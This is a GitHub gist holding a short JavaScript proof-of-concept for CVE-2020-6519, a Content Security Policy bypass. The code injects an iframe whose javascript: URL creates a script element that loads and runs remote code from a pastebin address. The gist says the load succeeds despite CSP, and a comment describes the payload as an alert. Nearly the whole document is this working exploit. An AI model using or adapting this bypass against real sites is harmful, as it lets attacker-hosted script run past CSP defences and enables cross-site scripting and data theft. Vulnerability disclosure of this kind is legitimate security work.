Skip to content

Instantly share code, notes, and snippets.

@galpx

galpx/csp-bypass-success.js

Created August 11, 2020 09:50
Show Gist options
  • Save galpx/82572ca70d18ae571a6294cfeb6dd0ca to your computer and use it in GitHub Desktop.
Save galpx/82572ca70d18ae571a6294cfeb6dd0ca to your computer and use it in GitHub Desktop.
Download ZIP
with CVE-2020-6519 csp bypassing will succeed
Raw
csp-bypass-success.js
/* this is a script that pops an alert message */
top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6';
/* this call will succeed although CSP */
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment